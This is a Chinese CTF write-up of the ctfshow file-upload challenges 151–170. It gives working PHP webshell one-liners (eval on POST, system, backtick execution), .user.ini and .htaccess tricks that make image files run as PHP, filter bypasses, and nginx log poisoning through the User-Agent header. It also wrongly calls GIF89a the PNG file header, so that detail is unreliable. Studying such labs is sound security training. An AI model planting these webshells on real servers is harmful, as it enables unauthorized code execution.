ctfshow-web入门-文件上传
web入门–151
前端校验不可靠:前端代码可由用户随意更改,校验方式也能更改
更改校验内容为php,上传x.php,并用蚁剑连接,在目录中找到flag.php
web入门–152
前端校验:同less-151
后端校验:MIME验证
MIME:文件类型检测
通用结构:type/subtype
仅MIME作为后端校验不够严密
web入门–153
先上传.user.ini配置文件,通过.user.ini使得upload文件夹下每个php文件在文件头都包含1.png文件
上传包含恶意代码的1.png(png图片里有php后门代码,但是图片格式不能被触发,所以连接不上后门,要通过.user.ini才能以php形式运行)
蚁剑连接/upload/index.php即可
web入门–154 & 155
上传.user.ini成功
上传包含木马的1.png失败,说明本关加入了内容检测(经过尝试后发现对"<?php"进行了过滤,考虑使用php短标记来绕过) ![在这里插入图片描述](https://img-blog.csdnimg.cn/direct/10bd861a5cce4cb2bce140ea169cb03c.png) 代码改为:<?=eval($_POST['chopper']);?> 即可
web入门–156
过滤了“[]”,使用 <?=eval($_POST{'chopper'});?> 即可
web入门–157 & 158
过滤严重(甚至包含";")
使用 <?=system('tac ../flag.*')?> 作为1.png传输
访问url/upload即可(upload自动调用index.php,index.php又自动调用1.png中的system代码(.user.ini设置的结果))
web入门–159
使用反引号运算符的效果与shell_exec()相同
使用 <?=`tac ../f*`?> 作为1.png传输,访问url/upload即可
web入门–160
日志记录UA头,UA头写后门代码,就把后门植入到日志中,再文件包含日志即可EXP
1.上传.user.ini
2.上传1.png:<?=include"/var/lo"."g/nginx/access.lo"."g"?>(nginx的日志文件默认路径,已经进行了对“log”过滤的绕过)
3.在UA头中植入后门
访问/upload则可以找到flag(日志文件中)
web入门–161
验证文件头(png的文件头是GIF89a)
如图,要添加GIF89a才能上传成功
其余流程同less-160
web入门–162 & 163
远程文件包含
web入门–164 & 165
二次文件渲染
web入门–166
(压缩包文件漏洞(类似文件下载漏洞))
上传zip文件
访问后门执行恶意代码
web入门–167
上传含后门的jpg文件
.htacess
AddType application/x-httpd-php .jpg
(.jpg为后缀的任意文件将以application/x-httpd-php形式被解析)
web入门–168
简单的代码变异(免杀)
web入门–169 & 170
访问日志文件
让日志记录后门并利用